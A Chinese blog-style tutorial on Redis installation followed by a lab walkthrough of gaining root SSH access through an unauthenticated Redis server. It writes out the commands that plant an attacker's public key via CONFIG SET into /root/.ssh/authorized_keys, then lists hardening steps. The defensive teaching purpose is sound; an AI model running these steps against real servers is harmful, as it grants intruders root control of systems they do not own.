redis漏洞利用及防御

·  阅读 474

redis漏洞利用及防御

一、 redis介绍

Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker.

开源、内存存储、数据结构存储

数据库、缓存、消息队列

Redis provides data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes, and streams.

数据结构:字符串、hashes(关联数组)、列表(数组)、集合、有序集合、bitmaps、hyperloglogs、空间索引、streams

Redis has built-in replication, Lua scripting, LRU eviction, transactions, and different levels of on-disk persistence, and provides high availability via Redis Sentinel and automatic partitioning with Redis Cluster.

内建复制、Lua scripting、LRU、事务、不同级别的磁盘持久化

基于哨兵、Redis Cluster的高可用

二、 redis安装

1、yum安装

epel源提供的3.2.12版本,不推荐,官方已不再维护

2、 源码安装(4.x版本)

2.1 下载安装包并解压

~]# wget https://download.redis.io/releases/redis-4.0.8.tar.gz
~]# tar xf redis-4.0.8.tar.gz
~]# cd redis-4.0.8
复制代码

2.2 安装

# 安装编译依赖软件
~]# yum groupinstall -y "Development Tools"
# 安装redis
~]# make install
# 安装启动脚本
~]# utils/install_server.sh
复制代码

3、 源码安装(6.x版本)

3.1 下载并解压安装包

[root@redis-v6 ~]# wget https://download.redis.io/releases/redis-6.2.5.tar.gz
[root@redis-v6 ~]# tar xf redis-6.2.5.tar.gz 
[root@redis-v6 ~]# cd redis-6.2.5/
复制代码

3.2 准备编译环境

[root@redis-v6 redis-6.2.5]# yum groupinstall -y "Development Tools"

复制代码

3.3 升级gcc版本

Redis 6以上版本编译时需要5版本以上gcc

~]# yum -y install centos-release-scl systemd-devel && yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils && scl enable devtoolset-9 bash
复制代码

3.4 安装

[root@redis-v6 redis-6.2.5]# make install
复制代码

3.4 提供系统脚本

需先注释install_server.sh脚本中以下内容,再执行脚本

 76 #bail if this system is managed by systemd
 77 _pid_1_exe="$(readlink -f /proc/1/exe)"
 78 if [ "${_pid_1_exe##*/}" = systemd ]
 79 then
 80         echo "This systems seems to use systemd."
 81         echo "Please take a look at the provided example service unit files in this directory, and adapt and install them. Sorry!
    " 82         exit 1
 83 fi
 84 unset _pid_1_exe
复制代码

三、 漏洞产生的前提

  1. 绑定在公网IP上,并未对访问的来源地址做限制。
  2. 未设置密码验证

四、 漏洞利用

机器名称IP地址
hacker192.168.100.199
redis-server 3.x版本192.168.100.230
redis-server 6.x版本192.168.100.220

1. hacker生成密钥

~]# [root@hacker ~]# ssh-keygen -t rsa -N ''
复制代码

2. 设置密钥为redis-server中的key

[root@hacker ~]# redis-cli -h 192.168.100.220
192.168.100.220:6379> set a "\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIUar9DbYKo5X9cO5OOnTzRQnKQklo9M6bDTMNtelqxxe8eqxBich3V2qycPTckaU4Gec+2evTNowen04vWRc9IZw07QfyOIX4DWZdTNUDEfKj9RfyiCDNk+aNVNR/QL+m1QH365oK6oUA5PVyATgrhutKJvBoqhR0KqEAdlJklW01YMJJ78GOzLJNunzEXy/Cp6mHxVMV7z9MM5VHjaizGdCVWNgb08Ulzh49Bh0V5VknjTqdk1ehHgCes3j9hE7mb1n/I0Np2kfyQ6x87cIHmwGRBD/Mo7SoBRi3daXXO583PPIa7TR6Uihhrc+H/VhR0DaHtg7rZ2n0dduJS9kT root@centos7\n\n\n\n"
OK
192.168.100.220:6379> get a
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIUar9DbYKo5X9cO5OOnTzRQnKQklo9M6bDTMNtelqxxe8eqxBich3V2qycPTckaU4Gec+2evTNowen04vWRc9IZw07QfyOIX4DWZdTNUDEfKj9RfyiCDNk+aNVNR/QL+m1QH365oK6oUA5PVyATgrhutKJvBoqhR0KqEAdlJklW01YMJJ78GOzLJNunzEXy/Cp6mHxVMV7z9MM5VHjaizGdCVWNgb08Ulzh49Bh0V5VknjTqdk1ehHgCes3j9hE7mb1n/I0Np2kfyQ6x87cIHmwGRBD/Mo7SoBRi3daXXO583PPIa7TR6Uihhrc+H/VhR0DaHtg7rZ2n0dduJS9kT root@centos7\n\n"
复制代码

3. 修改redis-server持久存储文件存储位置并保存

# 查看现在的值:
192.168.100.220:6379> config get dir
1) "dir"
2) "/var/lib/redis/6379"
192.168.100.220:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"

# 设置
192.168.100.220:6379> config set dir /root/.ssh
OK
192.168.100.220:6379> config set dbfilename authorized_keys
OK

#查看修改后的值:
192.168.100.220:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.100.220:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"

# 通知redis-server执行一次保存操作,把数据同步到/root/.ssh/authorized_keys文件中
192.168.100.220:6379> save
复制代码

4. 登陆验证

[root@hacker ~]# ssh root@192.168.100.220
Last login: Sat Jul 31 04:25:20 2021 from 192.168.100.199
复制代码

五、防御

hacker连接到redis-server中涉及到的点:

1. 知道目标服务器IP

重点:如何找到开放6379端口的服务器(端口扫描),也有可能是针对性攻击。

防御:

针对外部攻击:不开放6379端口,或者改为其它端口。使用白名单方式限制哪些来源IP可访问服务器。

内部攻击:限制哪些来源IP可访问服务器

2. 登陆到redis服务

重点:如何通过客户端连接到服务端?

防御:设置复杂度高的密码

3. 修改redis.conf文件写入密钥或文件

重点:可使用config命令在线修改redis.conf文件,把密钥文件放到服务器上,达到获得root权限的目的。

防御:使用低权限且shell类型为/sbin/nologin的用户运行redis,修改或禁用高危命令(redis.conf配置文件中新增以下内容)

rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command KEYS ""
复制代码

4. 远程登陆到目标服务器

重点:通过密钥登陆或反弹式shell等方式连接到目标服务器

防御:双因子验证、服务器禁止访问外部网络。

注:反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

分类:
代码人生
标签:
分类:
代码人生
标签:
收藏成功!
已添加到「」, 点击更改